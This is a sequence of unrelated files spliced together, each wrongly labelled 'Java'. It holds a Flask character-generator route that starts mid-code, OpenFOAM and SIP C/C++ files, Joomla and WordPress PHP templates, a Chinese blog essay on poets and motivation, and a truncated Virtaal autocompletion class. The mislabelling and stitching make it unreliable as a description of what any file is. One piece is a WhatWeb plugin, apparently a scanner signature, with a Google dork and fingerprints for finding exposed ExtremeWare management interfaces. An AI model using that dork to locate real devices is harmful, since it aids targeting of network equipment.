cards=deck) except DescriptiveError as e: return {"result": "error", "error": e.args[0]} except TypeError: return {"result": "error", "error": "Parameter is not in a valid Format"} finally: Cards.savedeck(session["user"], deck) @app.route("/chargen", methods=["GET", "POST"]) def chargen_menu(): if request.method == "POST": f = dict(request.form) if not f.get("vampire", None): return redirect( url_for( "chargen", a=f["a"], b=f["b"], c=f["c"], abia=f["abia"], abib=f["abib"], abic=f["abic"], shuffle=1 if f.get("shuffle", 0) else 0, ) ) return redirect( url_for( "chargen", a=f["a"], b=f["b"], c=f["c"], abia=f["abia"], abib=f["abib"], abic=f["abic"], shuffle=1 if f["shuffle"] else 0, vamp=f["discipline"], back=f["back"], ) ) return render_template("generate_dialog.html") @app.route("/chargen/<a>,<b>,<c>,<abia>,<abib>,<abic>,<shuffle>") @app.route("/chargen/<a>,<b>,<c>,<abia>,<abib>,<abic>,<shuffle>,<vamp>,<back>") def chargen(a, b, c, abia, abib, abic, shuffle, vamp=None, back=None): """ Redirects to the charactersheet/ editor(if logged in) of a randomly generated character :param a: points to be allocated in the first attribute group :param b: points to be allocated in the second attribute group :param c: points to be allocated in the third attribute group :param abia: points to be allocated in the first ability group :param abib: points to be allocated in the second ability group :param abic: points to be allocated in the third ability group :param shuffle: if the first/second/third groups should be shuffled (each) :param vamp: if not None, character will be a vampire, int(vamp) is the amount of discipline points :param back: background points """ try: char = VampireCharacter.makerandom( 1, 5, int(a), int(b), int(c), int(abia), int(abib), int(abic), int(shuffle), ) print(vamp) if vamp is not None: char.makevamprandom(vamp, back) print(char.getdictrepr()) if session.get("logged_in", False): return render_template( "vampsheet_editor.html", character=char.getdictrepr(), Clans=VampireCharacter.get_clans(), Backgrounds=VampireCharacter.get_backgrounds(), New=True, ) return render_template("vampsheet.html", character=char.getdictrepr()) except Exception as e: flash("ERROR" + "\n".join(e.args)) raise
Java
/*---------------------------------------------------------------------------*\ ========= | \\ / F ield | OpenFOAM: The Open Source CFD Toolbox \\ / O peration | \\ / A nd | Copyright held by original author \\/ M anipulation | ------------------------------------------------------------------------------- License This file is part of OpenFOAM. OpenFOAM is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. OpenFOAM is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with OpenFOAM; if not, write to the Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA \*---------------------------------------------------------------------------*/ #include "floatScalar.H" #include "IOstreams.H" #include <sstream> // * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * // #define Scalar floatScalar #define ScalarVSMALL floatScalarVSMALL #define readScalar readFloatScalar #include "Scalar.C" #undef Scalar #undef ScalarVSMALL #undef readScalar // ************************************************************************* //
Java
/* Company : Nequeo Pty Ltd, http://www.nequeo.com.au/ * Copyright : Copyright © Nequeo Pty Ltd 2016 http://www.nequeo.com.au/ * * File : EndpointInterface.h * Purpose : SIP Endpoint Interface class. * */ /* Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ #pragma once #include <pjsua2\endpoint.hpp> namespace Nequeo { namespace Net { namespace Android { namespace PjSip { typedef void(*OnNatDetectionComplete_Function)(const pj::OnNatDetectionCompleteParam&); typedef void(*OnNatCheckStunServersComplete_Function)(const pj::OnNatCheckStunServersCompleteParam&); typedef void(*OnTransportState_Function)(const pj::OnTransportStateParam&); typedef void(*OnTimer_Function)(const pj::OnTimerParam&); typedef void(*OnSelectAccount_Function)(pj::OnSelectAccountParam&); /// <summary> /// Endpoint callbacks. /// </summary> class EndpointInterface : public pj::Endpoint { public: /// <summary> /// Endpoint callbacks. /// </summary> EndpointInterface(); /// <summary> /// Endpoint callbacks. /// </summary> virtual ~EndpointInterface(); }; } } } }
Java
<?php /** * @package Joomla.Administrator * @subpackage com_privacy * * @copyright Copyright (C) 2005 - 2019 Open Source Matters, Inc. All rights reserved. * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; use Joomla\CMS\HTML\HTMLHelper; use Joomla\CMS\Language\Text; use Joomla\CMS\Router\Route; use Joomla\Component\Actionlogs\Administrator\Helper\ActionlogsHelper; /** @var PrivacyViewRequest $this */ HTMLHelper::_('behavior.formvalidator'); HTMLHelper::_('behavior.keepalive'); ?> <form action="<?php echo Route::_('index.php?option=com_privacy&view=request&id=' . (int) $this->item->id); ?>" method="post" name="adminForm" id="item-form" class="form-validate" data-cancel-task="request.cancel"> <div class="row mt-3"> <div class="col-12 col-md-6 mb-3"> <div class="card"> <h3 class="card-header"><?php echo Text::_('COM_PRIVACY_HEADING_REQUEST_INFORMATION'); ?></h3> <div class="card-body"> <dl class="dl-horizontal"> <dt><?php echo Text::_('JGLOBAL_EMAIL'); ?>:</dt> <dd><?php echo $this->item->email; ?></dd> <dt><?php echo Text::_('JSTATUS'); ?>:</dt> <dd><?php echo HTMLHelper::_('privacy.statusLabel', $this->item->status); ?></dd> <dt><?php echo Text::_('COM_PRIVACY_FIELD_REQUEST_TYPE_LABEL'); ?>:</dt> <dd><?php echo Text::_('COM_PRIVACY_HEADING_REQUEST_TYPE_TYPE_' . $this->item->request_type); ?></dd> <dt><?php echo Text::_('COM_PRIVACY_FIELD_REQUESTED_AT_LABEL'); ?>:</dt> <dd><?php echo HTMLHelper::_('date', $this->item->requested_at, Text::_('DATE_FORMAT_LC6')); ?></dd> </dl> </div> </div> </div> <div class="col-12 col-md-6 mb-3"> <div class="card"> <h3 class="card-header"><?php echo Text::_('COM_PRIVACY_HEADING_ACTION_LOG'); ?></h3> <div class="card-body"> <?php if (empty($this->actionlogs)) : ?> <div class="alert alert-info"> <span class="fa fa-info-circle" aria-hidden="true"></span><span class="sr-only"><?php echo Text::_('INFO'); ?></span> <?php echo Text::_('JGLOBAL_NO_MATCHING_RESULTS'); ?> </div> <?php else : ?> <table class="table table-striped table-hover"> <thead> <th> <?php echo Text::_('COM_ACTIONLOGS_ACTION'); ?> </th> <th> <?php echo Text::_('COM_ACTIONLOGS_DATE'); ?> </th> <th> <?php echo Text::_('COM_ACTIONLOGS_NAME'); ?> </th> </thead> <tbody> <?php foreach ($this->actionlogs as $i => $item) : ?> <tr class="row<?php echo $i % 2; ?>"> <td> <?php echo ActionlogsHelper::getHumanReadableLogMessage($item); ?> </td> <td> <?php echo HTMLHelper::_('date', $item->log_date, Text::_('DATE_FORMAT_LC6')); ?> </td> <td> <?php echo $item->name; ?> </td> </tr> <?php endforeach; ?> </tbody> </table> <?php endif;?> </div> </div> </div> </div> <input type="hidden" name="task" value="" /> <?php echo HTMLHelper::_('form.token'); ?> </form>
Java
## # This file is part of WhatWeb and may be subject to # redistribution and commercial restrictions. Please see the WhatWeb # web site for more information on licensing and terms of use. # https://morningstarsecurity.com/research/whatweb ## Plugin.define do name "ExtremeWare" authors [ "Brendan Coles <bcoles@gmail.com>", # 2011-11-21 ] version "0.1" description "Extreme Networks ExtremeWare device" website "http://www.extremenetworks.com/services/software-userguide.aspx" # ShodanHQ results as at 2011-11-21 # # 250 for ExtremeWare # Google results as at 2011-11-21 # # 50 for intitle:"ExtremeWare Management Interface" # Dorks # dorks [ 'intitle:"ExtremeWare Management Interface"' ] # Matches # matches [ # Version Detection # HTTP Server Header { :search=>"headers[server]", :version=>/^ExtremeWare\/([^\s]+)$/ }, # /Images/extremelogan { :md5=>"a18d6970836e3302e4d6d085e8f9d31b", :url=>"/Images/extremelogan" }, { :md5=>"bf368990304c878ce2924bc21b3f06d9", :url=>"/Images/extremelogan" }, # / # Title { :text=>'<title>ExtremeWare Management Interface</title>' }, # /extremetop # Logo HTML { :text=>'<center><img src="Images/extremelogan"><a href="extremebasepage" target="_top"><h2>Logon</h2></a><P><P><TABLE BORDER="0"><TR><TD NOWRAP><TT><FONT COLOR="#000000">' }, ] end
Java
--- layout: post title: 灵魂选择自己的伴侣 - 阳志平 category: literature tags: modern_times --- ![](https://cdn.kelu.org/blog/tags/literature.jpg) 许久没有看文艺味道的文章了。转载一篇。原文链接<https://gist.github.com/ouyangzhiping/aa44edcc7f7cbb6888805617bcb1b4d6> 以下是原文: **灵魂选择自己的伴侣,少年选择自己的城市**。异类需要与异类在一起。欢迎各位来参加开智部落成立典礼。今天,我要跟大家分享一位异类的故事。 ## 我必须徒步穿越太阳系 ### 从前有一位女孩子 从前有一位女孩子,十六岁时父亲去世,家庭陷入贫困。父亲因为感染肺结核而去世,而她自己也感染了肺结核。她一生备受病魔贫困摧残。窘迫时不得不出售自己的香水与内衣,换得稿纸。 如此热爱写作,带来的是什么?她一生贫困交织,活到三十一岁时,就因为肺结核与营养不良,不幸离世。短短一生出版了四本诗集,在世时并未得到好评,可以说「有趣的傻瓜」是所有评价中最好听的一个了。如果你又穷又没名气,你的问题会是什么?我在一个问答网站,用「月薪三千」搜索,你可以看到一系列提问,比如「月薪三千,如何白手起家」、「月薪三千怎么追求白富美」、「月薪三千怎么买房」、「月薪三千如何在北京生存」。 **前四个问题指向白富美、财富名声与华服豪宅等外在奖赏。这是绝大多数人习以为常的一种思维**。然而,这一位女孩与众不同。友人安猪兄曾经在第二届开智大会的演讲中提过,「问题改变思考层面」: **在贫困无名时,你的问题是什么?** 假若你仅仅关注「行为和现象」,缺什么补什么,收入不高就拼命赚钱。这样你可能仅仅只能获得两倍启发。假若你关注「关系和结构」,比如月薪三千,如何借助「贵人」与 「时空选择论」来获得好运,此时你可能会获得十倍启发。**很少有人站在「心智和文化」的层面思考,这就好比仅仅关注冰山浮出水面的部分,却忽略冰山底层**。 ### 存在的胜利 如果你是那位女孩子,在贫困无名时,你会怎么做?那时是十九世纪末,肺结核的死亡率很高,所以她很早意识到生命短暂。如果说多数人在贫困无名时,选择的是名利等外部奖赏,而她选择了另一种生活——**热情地爱与热情地创作**。 **越是生命随时可能中止,她越是热情地活着**。试读: 诗1:存在的胜利 我怕什么?我是无穷的一部分。 我是所有伟大力量的一部分, 千百万个世界之内一个孤独的世界, 如同一颗最后消失的一级的星星。 活着的胜利,呼吸的胜利,存在的胜利! 在诗人眼中,虽然因为肺结核,**活着不容易,每次呼吸都是胜利**,但是「我怕什么呢?」,我就是伟大;我就是一个世界!我终究迎来「存在的胜利!」。诗人推崇尼采,张扬个人意志。诗歌中充满了自由、太阳、星星、上帝、先知等意象。在诗人笔下,**人类始终不是渺小的,你可以像一次周末远足一样,简简单单地穿越太阳系**。试欣赏: 诗2:我必须徒步穿越太阳系 我必须徒步穿越太阳系 我预感到了这一点 宇宙的某个角落悬挂着我的心 火从那里迸溅,振动空气 并向其他狂放的心涌去 你能猜出来这位女孩子是哪一位诗人吗?她就是北欧女诗人索德格朗。虽然在世时默默无名,离世多年后,她的作品才被重视,被誉为北欧最伟大的诗人。试欣赏她的一首名作: 诗3:星星 当夜色降临 我站在台阶上倾听 星星蜂拥在花园里 而我站在黑暗中。 听,一颗星星落地作响! 你别赤脚在这草地上散步 我的花园到处是星星的碎片 —— 索德格朗 不再仰望星空,星星是你的小伙伴。你可以和它一起去玩各种各样的游戏,你在你的大花园漫步时,你要把脚步放轻放慢,避免踩到在你脚边的星星。 ## 灵魂选择自己的伴侣 **索德格朗常常与另一位美国诗人狄金森相提并论**。比如说身体都不好,都不怎么社交。索德格朗是肺结核;狄金森则是胃病;索德格朗疏于社交,狄金森则在生命的最盛之季,三十来岁时离群索居,独身不嫁。两人更大的相似也许在于,她们都格外注重成为内在动机驱使的人。狄金森正是《灵魂选择自己的伴侣》一诗作者,试读: 诗4:灵魂选择自己的伴侣 灵魂选择自己的伴侣, 然后,把门紧闭, 她神圣的决定, 再不容干预。 发现车辇在她低矮的门前, 不为所动, 一位皇帝跪在她的席垫, 不为所动。 我知道她从人口众多的整个民族 选中了一个, 从此封闭关心的阀门, 像一块石头 —— 狄金森 索德格朗与狄金森气质类似,都注重保护内在的动机。索德格朗徒步穿越太阳系,寻找选悬挂在宇宙某个角落的心,呼唤存在的胜利;而狄金森始终坚持「灵魂选择自己的伴侣」,**皇帝跪在你的面前,不为所动**。 当然,这是理想状态。在现实生活中,穿越太阳系时你可能会遇上太阳黑子风暴,步入迷途;更多的人会为名利所动,对权势人物趋之若鹜。那么,**如果你乐意成为一名内在动机驱动的人,怎样更好地保护你的内在动机**?也许你已经知道了要从兴趣与好奇心出发;也许你还知道了「自我决定论」,但今天在这里,我要讲三个你不熟悉的做法,来帮助你更好地保护内在动机。 ### 可供性 第一个做法是可供性。在讨论产品设计时,人们常常注重的是产品可用性。却不知还有另一个概念叫可供性。可供性与可用性不同,**它不关注产品有什么用,而是关注它能否提供新的可能性**。 举个例子,之前你可能更多把微信群当作一个聊天工具来使用,但是我发现了微信群新的可供性——它可以变为一个集体共创平台。基于微信群的头脑风暴与集体协作,因此诞生了一本书——《追时间的人》。 具体到开智部落也是如此。**有的同学可能更关注开智部落的「可用性」—— 它能给自己带来什么价值?你可以尝试切换为 「可供性」视角**。开智部落将各位终身学习者聚集在一起,形成创造者社群。在这个社群中,它和其他社群不一样的可供性是什么?是开智团队自主研发的 直播功能、卡包功能?抑或其他?基于直播、卡包这些新玩法,我可以做些什么? **从「可用性」到「可供性」,意味着更突出生命主体的价值**。从关注「自己的作品有什么用」转为「自己的作品有什么不一样,是否能提供新的可能性」。比如在你16岁到31岁,你出版四本书,没有得到什么好评,当代人对你不理解,假若你去关注「可用性」,这样你很可能会丢失掉自己原本能够获得的东西,被「外在动机驱使」。 北欧女诗人索德格朗坚持自己写法,并不关注自己作品的「可用性」,反而得到了更多「可供性」—— 她一辈子写了两百首左右诗歌,到了今天,不少成为北欧文学中的经典。 ### 演绎法 对于年轻创作者来说,**困难的地方并不是坚持内在动机,而是作品得不到反馈,不知道自己是对是错**。因此,这就是给大家的第二个建议。你需要借助「演绎法」,掌握一套不需要依赖任何第三方评判自己作品的方法论。 问题改变思考层面。假设你将问题定义在「行为和现象」层面,此时,你会收集到大量现象,比如有的现象说的是ABC三点;有的现象说的是123三点,伴随信息过载时代的来临,**现象日益层出不穷,你需要收集的现象越来越多,整天疲于奔命**。 比如你要学习认知科学,现在市面上认知科学有这么多畅销书,你把这些畅销书全给买来。第一本畅销书讲到二十个知识点,吭哧吭哧写一堆读书笔记;第二本书又写一堆读书笔记,写了十本之后开始产生疲倦,就不写了。目前还有一种流行的读书方法,叫做思维导图法,就是给一本书整理一份思维导图,就意味着消化了此书。 然而,以上学习路径仅仅只代表着归纳法而已。绝大多数人忘记了,理解知识有两种方法,第一种是归纳法,第二种是演绎法。原本两种方法相辅相成,互为表里。**现在的人过于强调归纳法,却忘记了演绎法**。 **什么是演绎法?从体系、模型与框架入手**。举个例子,我拿科学计量学的一本核心期刊做了一个知识图谱。你会发现,将该领域可视化后,整个科学计量学领域值得关注的核心研究者并不多。不到十位。科学计量学是一个小的研究领域,因此值得关注的研究者就这么多;而在认知科学、儿童心理学这么庞大的研究领域,按照二八定律,贡献了学科 80% 论文被引的学者,也不会超过四十二人。 假设你借助演绎法,找到这四十二人之后。每个核心学者,平均一辈子写一百篇到两百篇左右论文。继续按照二八定律,这些论文中真正值得阅读的,仅仅四十篇左右而已。所以在认知科学和儿童心理学这么庞大领域,值得阅读的经典论文,也就是 1600 篇左右。这 1600 篇会相互引用,相互打架,最终合并同类项,实际贡献的核心原创术语不过 200-400 个左右。 **从源头入手,借助第三方数据进行演绎,放弃低效的归纳法,这样可以更快地明晰学科知识图谱**。反之,低效的归纳法学习会是如何?举个简单的例子,市面上有一本畅销书,叫做《清醒思考的艺术》,这本书讲的是认知偏差,总结了52种认知偏差。 你会发现,读这类书非常低效。你把它的52种认知偏差背得滚瓜烂熟,把思维导图做得非常精美,但是只要是有一个文笔更好的作者写了一本新书,假设这位新作者写的不是52种认知偏差,而是 36 种或者 42 种,你又得把所有的知识体系推翻重来。 无论最初的 52 种认知偏差,还是之后的 36 种或 42 种,**最核心的源头知识来自少数研究者的贡献**。不仅掌握归纳法,更要掌握演绎法,**借助体系、模型与框架,提升思维品质与学习效率,这是要提醒大家修正的一种学习习惯**。 掌握演绎法,为什么会有助保护自己的内在动机?很多人在年轻时,恨不得给自己找一个人生导师。**每到一个社会大变革时代,思想混乱,信仰缺失,精神空虚,青年导师就会变得格外流行**。就像鲁迅所言, >青年又何须寻那挂着金字招牌的导师呢?不如寻朋友,联合起来,同向着似乎可以生存的方向走。你们所多的是生力,遇见深林,可以辟成平地的,遇见旷野,可以栽种树木的,遇见沙漠,可以开掘井泉的。问什么荆棘塞途的老路,寻什么乌烟瘴气的鸟导师! 年轻的创作者往往不自信,不知道自己的作品好坏,急需得到他人反馈。与之相反,**成熟的创作者掌握一套不依赖他人评价,得到反馈,不断进行刻意练习的方法论**。举个例子,在认知写作学课上,我给各位同学介绍了一个不借助他人反馈,提高写作能力的方法。就是找到一些中文名家,如张爱玲、余光中翻译过的英文作品,比如《老人与海》,然后你尝试翻译看看,再将自己的翻译与张爱玲、余光中的翻译对比。这样马上明白自己的写作好坏。整个过程,你无需依赖任何他人评价。 **你越熟练地掌握演绎法,你越不需要任何青年导师;你也不需要来自他人的评价或反馈**。因为整个信息求解过程,是你独立完成的。通过演绎法,提高个人信息求解能力,摆脱来自他人的评价,学会借助历史上的牛人与第三方客观数据来考量自己的进度,获得反馈。这是一种巧妙地保护内在动机的做法。 涉及到的具体技巧,可以参考我的旧文: - 阳志平谈如何学习谈判:http://t.cn/RPsqIbK - 如何学习科学:http://www.yangzhiping.com/psy/open-science-toolbox.html - 科学计量学:发现学科正在静悄悄发生的革命:http://www.yangzhiping.com/tech/scientometrics-sci2.html ### 反常识 第三点是反常识。索德格朗在世时,她并没有按照当时的社会习俗约定走自己的路。**每一个时代的「常识」,都意味着这个时代的「认知边界」**。它往往是一代又一代传承下来,帮助人们降低认知负荷。 但是,保护自己的内在动机,走上了一条林萌小道,意味着常识还不够,你要学会更好地掌握「反常识」的证据。依据社会常识,往往父母会告诉你要,兼顾名利与兴趣,如果你此时你坚持内在动机而活,那么你会不断地质疑自己;当你读遍历史上所有伟大智者的故事,发现几乎所有人都是遵从「内在动机」而活,**你获得了足够多的证据,那时你会更相信自己的选择**。 好思想与坏思想区别在于,前者**侧重鲜活证据**,后者侧重说服自己或他人。所以达尔文曾言,**碰到不相信的,立即写下来,否则隔了一段时间,大脑会本能的拒绝相信。** 举个例子,「常识」告诉你,你应该一边听讲座一边快速记笔记。然而,认知科学证明了,一边上课一边写笔记是一种低效的学习方法,因为上课写笔记是在你的「工作记忆」区域工作,你会产生一种「元认知错觉」,误以为听懂了,学会了。更好的方法是六个小时后写笔记,那时你可能已经遗忘了一些细节,你会使劲回想,从而得以调用大脑更多能量。 通过演绎法,假设你像芒格的栅格模型一样,求解出每个时代最重要的高阶模型,有 1000 个到 2000 个。事实上,你掌握其中的100 个到 200 个,就可以过上理性的一生。**每个高阶模型,都将突破你的既有认知边界**。如果你总是采取最舒适的姿态学习,比如永远读畅销书;永远刷朋友圈,那么,就像上课写笔记一样,输入时容易,未来提取时就会变得困难。反之,如果你是借助于一手论文与经典图书获取高阶模型,输入时难,未来提取就会变得更容易一些,才能摆脱「听过很多好道理,依然过不了这一生」的悲剧。 所以开智部落的学习,注重「反常识」。**各位同学需要学会撰写「反常识」卡,整理学习材料的各种反常识的证据,然后用这些鲜活证据来一步一步地拓展自己的认知边界**。 ## 假如我拥有一座大花园 ### 当索德格朗遇上狄金森 虽然狄金森与索德格朗两人气质类似,但是两人不是同一个时代,并且一位在美国一位在北欧。**当索德格朗遇上狄金森,会发生什么?** 索德格朗其实回答了这个问题。她当时没有得到同时代的人的肯定,但是她有一位知音,叫做黑格,对她的诗歌给予高度称赞。这种心理支持,对一位热情地创作者,意义颇大。时隔多年后,两人第一次真正见面,索德格朗写了一首诗,赠给黑格: 诗5:春天的秘密 姐姐,你像一阵春风穿越山谷而来…… 阴影里的紫罗兰弥散着温馨的满足。 我要把你带往森林最温馨的角落: 那里我们将互诉衷肠,述说如何见到上帝。 索德格朗 在森林最温馨的角落,索德格朗将与姐姐互诉衷肠。**假设索德格朗和狄金森两位在一起,她们共建一个大花园,隔绝来自世界的喧嚣,这也许会给人类带来一种新型的生活**。 在森林最温馨的角落,索德格朗将与姐姐互诉衷肠。**假设索德格朗和狄金森两位在一起,她们共建一个大花园,隔绝来自世界的喧嚣,这也许会给人类带来一种新型的生活**。 诗6:大花园 我们都是无家可归的漂泊者,都是兄弟姐妹。、 我们背着包裹,衣衫褴褛,与我们相比,权贵们又拥有什么? 黄金不能衡量财富,随清风向我们涌来 我们越是高贵,我们就越明白我们是兄妹 我们只有付出自己的心灵,才能赢得自己的同类 假如我拥有一座大花园,我会邀请我所有的兄妹 他们每人都会从我这里一份贵重的礼物 没有祖国,我们会变成一个民族 我们将在花园四周修筑篱笆,隔绝来自世界的喧嚣 我们恬静的花园,会给人类带来一种新型的生活 —— 索德格朗 ### 人类学习的三大隐喻 ### 人类学习的三大隐喻 组建开智部落这个异类大花园,我希望能让更多的索德格朗尽早遇见更多的狄金森。在今天的分享中,我不断地强调「问题改变思考层面」,那么,在思考学习时,你会发现哪些问题呢? 假设你仅仅关注冰山上的「问题和现象」,它给大家带来的改变可能是两倍左右你的问题可能是「课程」—— 去哪里找到能够教会自己学会编程与写作的课程? 如果希望获得十倍的改变,你的问题可能马上变为「学习共同体」 —— 去哪里能够找到一个聚集足够优质的学习组织,能够让自己被动式进步? 但是,真正能够带来一百倍的改变,**需要你采取完全不同的成长方式与隐喻思维**。比如,目前风险投资界普遍流行的话语体系是基于战争隐喻,如A轮/B轮/C轮,如赛道如卡位如布局。然而,早期创业公司最关键的地方从来不是竞争,而是成长。你可以采取不同于战争隐喻的另一种思维模式——树形隐喻。在树形隐喻视角下,我不再是为了跟谁竞争而诞生,我不是为了别人而活,我是为了自己的成长而活。同样,**人类学习有三大隐喻,不同的隐喻带来了不同的成长方式**。 **第一个隐喻是获得——学习是获得知识**。这是大学毕业前,你最熟悉的一种教育方式。在这种隐喻看来,学习就好比一个管道,知识从老师的头脑中输入到你的头脑中。这是工业时代,以车间流水线制度为标杆,我们习得的一整套教育制度。 **第二个隐喻是参与——学习是参与的过程**。目前,从小学到大学,都受制于第一个隐喻,即学习是获得知识。而现在学习科学主流的关掉,强调的是学习是一种参与。在学术上有两个重要源头:认知建构论与认知学徒制。在这种视角下,强调学徒制、学习部落与实践社群。各类学习型社群越来越流行,但是我个人一直打一个问号,没有输出的聚集,只会带来信息过载。 因此,你需要**第三个创造隐喻——学习是为了创造**。你可以想象自己像一棵树一样生长,刚开始有一个发心的种子,慢慢生根发芽,成为你与这个世界对话的跟脚。在如今这个以信息过载、新学科新职业层出不穷的时代,开智部落更强调第三种隐喻。 这就是最后,我给大家的一个小问题,我希望未来大家不断问自己,**你创造的作品是什么**? ## 小结 明朝大儒王阳明三十七岁龙场悟道后,热衷讲学。同时代人引之为憾,阳明文章武略,皆为一时之冠,如不热衷讲学,则一生堪称完美。却不知,在阳明之前,所有儒者问道于君,思想必须借助皇权,才有影响;而阳明开时代先河,问道于民,推动了儒学世俗化,从此,人人皆可成为圣人。 五百余年后,有后生小辈效仿先贤,组建学习部落。古为文行忠信四科,今天则为五大元学科。古代大儒,跋山涉水,讲学劳累;今天则是随时随地,直播知识,四海听闻。然千年变幻,不变的是讲学须有宗旨。如阳明讲学宗旨落在「致良知」;刘宗周讲学宗旨落在「诚意」。**我之讲学宗旨落在「修己以安人」**。身处时代大变局,胸怀大志者当与智者同行,与勇者相互鼓励;与仁者构建同辈信任,从而不惑不惧不忧。**预测未来不如一起创造未来,欢迎你,开智部落新成员**。 阳志平 2016-10-20
Java
<?php get_header(); ?> <div id="content" class="grid_9 <?php echo of_get_option('blog_sidebar_pos') ?>"> <?php include_once (TEMPLATEPATH . '/title.php');?> <?php if (have_posts()) : while (have_posts()) : the_post(); // The following determines what the post format is and shows the correct file accordingly $format = get_post_format(); get_template_part( 'includes/post-formats/'.$format ); if($format == '') get_template_part( 'includes/post-formats/standard' ); endwhile; else: ?> <div class="no-results"> <?php echo '<p><strong>' . __('There has been an error.', 'theme1762') . '</strong></p>'; ?> <p><?php _e('We apologize for any inconvenience, please', 'theme1762'); ?> <a href="<?php bloginfo('url'); ?>/" title="<?php bloginfo('description'); ?>"><?php _e('return to the home page', 'theme1762'); ?></a> <?php _e('or use the search form below.', 'theme1762'); ?></p> <?php get_search_form(); /* outputs the default Wordpress search form */ ?> </div><!--no-results--> <?php endif; ?> <?php get_template_part('includes/post-formats/post-nav'); ?> </div><!--#content--> <?php get_sidebar(); ?> <?php get_footer(); ?>
Java
#!/usr/bin/env python # -*- coding: utf-8 -*- # # Copyright 2008-2010 Zuza Software Foundation # # This file is part of Virtaal. # # This program is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 2 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program; if not, see <http://www.gnu.org/licenses/>. """Contains the AutoCompletor class.""" import gobject import re try: from collections import defaultdict except ImportError: class defaultdict(dict): def __init__(self, default_factory=lambda: None): self.__factory = default_factory def __getitem__(self, key): if key in self: return super(defaultdict, self).__getitem__(key) else: return self.__factory() from virtaal.controllers.baseplugin import BasePlugin from virtaal.views.widgets.textbox import TextBox class AutoCompletor(object): """ Does auto-completion of registered words in registered widgets. """ wordsep_re = re.compile(r'\W+', re.UNICODE) MAX_WORDS = 10000 DEFAULT_COMPLETION_LENGTH = 4 # The default minimum length of a word that may # be auto-completed. def __init__(self, main_controller, word_list=[], comp_len=DEFAULT_COMPLETION_LENGTH): """Constructor. @type word_list: iterable @param word_list: A list of words that should be auto-completed.""" self.main_controller = main_controller assert isinstance(word_list, list) self.comp_len = comp_len self._word_list = [] self._word_freq = defaultdict(lambda: 0) self.add_words(word_list) self.widgets = set() def add_widget(self, widget): """Add a widget to the list of widgets to do auto-completion for.""" if widget in self.widgets: return # Widget already added if isinstance(widget, TextBox): self._add_text_box(widget) return raise ValueError("Widget type %s not supported." % (type(widget))) def add_words(self, words, update=True): """Add a word or words to the list of words to auto-complete.""" for word in words: if self.isusable(word): self._word_freq[word] += 1 if update: self._update_word_list() def add_words_from_units(self, units): """Collect all words from the given translation units to use for auto-completion. @type units: list @param units: The translation units to collect words from. """ for unit in units: target = unit.target if not target: continue self.add_words(self.wordsep_re.split(target), update=False) if len(self._word_freq) > self.MAX_WORDS: break self._update_word_list() def autocomplete(self, word): for w in self._word_list: if w.startswith(word): return w, w[len(word):] return None, u'' def clear_widgets(self): """Release all registered widgets from the spell of auto-completion.""" for w in set(self.widgets): self.remove_widget(w) def clear_words(self): """Remove all registered words; effectively turns off auto-completion.""" self._word_freq = [] self._word_list = defaultdict(lambda: 0) def isusable(self, word): """Returns a value indicating if the given word should be kept as a suggestion for autocomplete.""" return len(word) > self.comp_len + 2 def remove_widget(self, widget): """Remove a widget (currently only L{TextBox}s are accepted) from the list of widgets to do auto-correction for. """ if isinstance(widget, TextBox) and widget in self.widgets: self._remove_textbox(widget) def remove_words(self, words): """Remove a word or words from the list of words to auto-complete.""" if isinstance(words, basestring): del self._word_freq[words] self._word_list.remove(words) else: for w in words: try: del self._word_freq[w] self._word_list.remove(w) except KeyError: pass def _add_text_box(self, textbox): """Add the given L{TextBox} to the list of widgets to do auto- correction on.""" if not hasattr(self, '_textbox_insert_ids'): self._textbox_insert_ids = {} handler_id = textbox.connect('text-inserted', self._on_insert_text) self._textbox_insert_ids[textbox] = handler_id self.widgets.add(textbox) def _on_insert_text(self, textbox, text, offset, elem): if not isinstance(text, basestring) or self.wordsep_re.match(text): return # We are only interested in single character insertions, otherwise we # react similarly for paste and similar events if len(text.decode('utf-8')) > 1: return prefix = unicode(textbox.get_text(0, offset) + text) postfix = unicode(textbox.get_text(offset)) buffer = textbox.buffer # Quick fix to check that we don't autocomplete in the middle of a word. right_lim = len(postfix) > 0 and postfix[0] or ' ' if not self.wordsep_re.match(right_lim): return lastword = self.wordsep_re.split(prefix)[-1] if len(lastword) >= self.comp_len: completed_word, word_postfix = self.autocomplete(lastword) if completed_word == lastword: return if completed_word: # Updating of the buffer is deferred until after this signal # and its side effects are taken care of. We abuse # gobject.idle_add for that. insert_offset = offset + len(text) def suggest_completion(): textbox.handler_block(self._textbox_insert_ids[textbox]) #logging.debug("textbox.suggestion = {'text': u'%s', 'offset': %d}" % (word_postfix, insert_offset)) textbox.suggestion = {'text': word_postfix, 'offset': insert_offset} textbox.handler_unblock(self._textbox_insert_ids[textbox]) sel_iter_start = buffer.get_iter_at_offset(insert_offset) sel_iter_end = 